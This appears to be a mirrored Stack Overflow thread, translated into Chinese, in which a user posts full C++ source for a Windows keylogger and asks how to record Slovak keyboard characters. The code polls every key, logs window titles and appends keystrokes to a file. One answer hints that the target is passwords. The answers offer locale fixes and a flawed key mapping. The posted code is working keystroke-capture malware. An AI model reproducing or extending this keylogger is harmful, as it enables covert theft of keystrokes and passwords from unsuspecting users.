【问题标题】:C++ key logger with special key layout具有特殊按键布局的 C++ 按键记录器
【发布时间】:2014-05-14 19:25:06
【问题描述】:

我想用 C/C++ 创建键盘记录器,但是,我来自斯洛伐克,我们有一些特殊字符,例如 ľ、š、č、ť、ž、ý、á、í ...

slovak keyboard layout image

但是当按'č' - >我的keylooger检测'4'(它是英文键盘布局上的相同字符)。
我该如何处理这个问题?

#include <windows.h>
#include <fstream>
#include <string>
#include <stdio.h>
#include <iostream>
#include <conio.h>

using namespace std;

string convertkey(int key){
    string keystring;
    switch(key)
      {
      case 8 :
           keystring = "[/]";
           break;
      case 13 :
           keystring = "\n";
           break;
      case 32 :
           keystring = " ";
           break;
      case 190 :
           keystring = ".";
           break;
      case 110 :
           keystring = ".";
           break;
      case VK_CAPITAL :
           keystring = "[CAPS LOCK]";
           break;
      case VK_TAB :
           keystring = "[TAB]";
           break;
      case VK_CONTROL :
           keystring = "[CONTROL]";
           break;
      case VK_ESCAPE :
           keystring = "[ESCAPE]";
           break;
      case VK_DOWN :
           keystring = "[DOWN]";
           break;
      case VK_LEFT :
           keystring = "[LEFT]";
           break;
      case VK_RIGHT :
           keystring = "[RIGHT]";
           break;
      case VK_UP :
           keystring = "[UP]";
           break;
      }
      if(key >= 96 && key <= 105)
             keystring = key-48;
      else if (key > 47 && key < 60)
             keystring = key;
      if (key != VK_LBUTTON || key != VK_RBUTTON)
        {
            if (key > 64 && key < 91)
            {
                if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT)) 
                    keystring = key;                                   //if its capital then stay                               
                else 
                {
                    key = key + 32;                     //if not shift the number to the lowercase value                                     
                    keystring = key;
                }
            }
        }
        return keystring;
}

void StoreKey(string key){
   ofstream storekey("C:\\storekey.txt", ios::app);
   storekey << key;
   cout << key;
   storekey.close();
}

void Logger()
{
     string keyinstring = "";
     int key;
     char currentwindowtitle[MAX_PATH];
     char newwindowtitle[MAX_PATH];
     GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));              
     while(true)
     {
         Sleep(5);
         for(key = 8; key <= 256; key++)
        {
             if(GetAsyncKeyState(key)&1 == 1)                                                                  
             {
                 GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));                        
                 if (strcmp(newwindowtitle, currentwindowtitle) != 0)                                                         
                 {    
                         ofstream storekey("C:\\storekey.txt", ios::app);
                         storekey << endl << currentwindowtitle << endl;
                         cout << endl << currentwindowtitle << endl;
                         storekey.close();
                         strcpy(newwindowtitle, currentwindowtitle);
                 }
                 keyinstring = convertkey(key);
                 StoreKey(keyinstring);                      
             }
        }
     }
}

int main(){
   Logger();
   return 1;
}

【问题讨论】:

  • 我认为你应该创建一个窗口,并接收 WM_CHAR 以获取输入的真实字符
  • 如果你知道英语和斯洛伐克语键的匹配,那么你可以写一个转换表
  • Cocoop -> 我不能,因为当我按 'ý' -> 程序得到 '55' (ascii 值)并且它是 '7' 但是,当我真的按数字 7 时? -> 每次都是“ý”

标签: c++ c logging key


【解决方案1】:

你试过setlocale(LC_ALL, "sk-SK") 吗?斯洛伐克是sk-SK, 但是如果该函数未能设置新的语言环境,则语言环境不会被修改并返回一个空指针。

#include <locale.h>
#include <stdio.h>
#include <time.h>

int main ()
{
   time_t currtime;
   struct tm *timer;
   char buffer[80];

   time( &currtime );
   timer = localtime( &currtime );

   printf("Locale is: %s\n", setlocale(LC_ALL, "sk-SK"));
   strftime(buffer,80,"%c", timer );
   printf("Date is: %s\n", buffer);



   return(0);
}

【讨论】:

    【解决方案2】:

    printf("Locale is: %s\n", setlocale(LC_ALL, "Slovak"));

    输出: 语言环境是:Slovak_Slovakia.1250

    http://msdn.microsoft.com/en-us/library/39cwe7zf(v=vs.100).aspx

    【讨论】:

      【解决方案3】:

      当检测到 4 个 save č 时创建一个 switch case。

      case 32 :
      keystring = "č";
      break;
      

      对了,你为什么要保存那些特殊字符?我认为您的密码中不能包含这些内容。

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 2017-11-19
        • 1970-01-01
        • 2023-03-11
        • 2020-01-23
        • 2019-04-09
        • 1970-01-01
        • 2012-11-05
        • 1970-01-01
        相关资源
        最近更新 更多